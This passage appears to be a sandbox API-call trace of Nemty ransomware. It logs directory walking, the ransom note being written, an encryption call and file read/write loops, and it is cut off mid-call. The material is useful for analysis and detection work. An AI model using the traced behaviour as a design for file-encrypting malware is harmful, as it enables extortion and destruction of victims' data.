hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0109.278] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0109.279] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0109.279] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0109.279] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0109.279] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0109.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0109.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0109.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0109.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0109.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0109.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0109.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0109.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0109.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0109.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340200 [0109.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0109.279] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0109.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0109.280] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.280] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0109.280] CloseHandle (hObject=0x1ec) returned 1 [0109.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0109.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0109.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0109.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340158 [0109.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401e0 [0109.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0109.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340268 [0109.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340310 [0109.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0109.281] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0109.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0109.282] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.282] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0109.283] CloseHandle (hObject=0x1ec) returned 1 [0109.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0109.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0109.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0109.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf4c7c490, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4c7c490, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0109.283] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0109.283] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf4c7c490, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4c7c490, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0109.283] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0109.283] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0109.283] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="calendar.html", cAlternateFileName="")) returned 1 [0109.283] lstrcmpiW (lpString1="calendar.html", lpString2=".") returned 1 [0109.283] lstrcmpiW (lpString1="calendar.html", lpString2="..") returned 1 [0109.283] lstrcmpiW (lpString1="calendar.html", lpString2="...") returned 1 [0109.283] lstrcmpiW (lpString1="calendar.html", lpString2="windows") returned -1 [0109.283] lstrcmpiW (lpString1="calendar.html", lpString2="$RECYCLE.BIN") returned 1 [0109.283] lstrcmpiW (lpString1="calendar.html", lpString2="rsa") returned -1 [0109.283] lstrcmpiW (lpString1="calendar.html", lpString2="NTDETECT.COM") returned -1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="ntldr") returned -1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="MSDOS.SYS") returned -1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="IO.SYS") returned -1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="boot.ini") returned 1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="boot.ini") returned 1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="AUTOEXEC.BAT") returned 1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="ntuser.dat") returned -1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="desktop.ini") returned -1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="CONFIG.SYS") returned -1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="RECYCLER") returned -1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="BOOTSECT.BAK") returned 1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="bootmgr") returned 1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="programdata") returned -1 [0109.284] lstrcmpiW (lpString1="calendar.html", lpString2="appdata") returned 1 [0109.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0109.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar.html", lpUsedDefaultChar=0x0) returned 13 [0109.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0109.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar.html", lpUsedDefaultChar=0x0) returned 13 [0109.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0109.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.html", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar.html", lpUsedDefaultChar=0x0) returned 13 [0109.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0109.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.html", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar.html", lpUsedDefaultChar=0x0) returned 13 [0109.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0109.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0109.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0109.284] Sleep (dwMilliseconds=0x5) [0109.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf4ca25f0, dwHighDateTime=0x1d561e7)) [0109.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf4ca25f0, dwHighDateTime=0x1d561e7)) [0109.291] GetLastError () returned 0xb7 [0109.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.291] GetLastError () returned 0xb7 [0109.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.292] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0109.292] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0109.292] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0109.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0109.292] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="uf9mqe+lveDfB8EJ7mhTMhiEAG2E9oxot5m3x8yb02FTK+NerwlhQyrpqnPBTiHw\r\nTcFYWLi/JeihryGOQ1oJe2lNny3WmNsRkcR5JsPcRvoF9qssk4LlUrIFaiAe8huZ\r\nkfaJJCiLZJ1o0PG7Hf3HL8CXHMw8+RBt882sH511EDvWIExadqD/v7ESG27RoO0k\r\nNiD4WEHq+OqFB4rWkfYOBCf4yEEh+bP2zTRI81CQSJy6agwDl0cnfTsKcg4YXRIw\r\n4hCvcNYK8KgvPADApSeQK+IV3/iZehjeFSaVlBb3RMwuqVot30T/VKRzIsefviiz\r\n43eu9QTUUM8OAB5eseSriA==\r\n", pcchString=0x653e91c) returned 1 [0109.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0109.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0109.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0109.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0109.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0109.292] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\calendar.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\calendar.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.293] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0109.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0109.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.293] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.312] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.331] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.350] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.350] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.376] SetFilePointer (in: 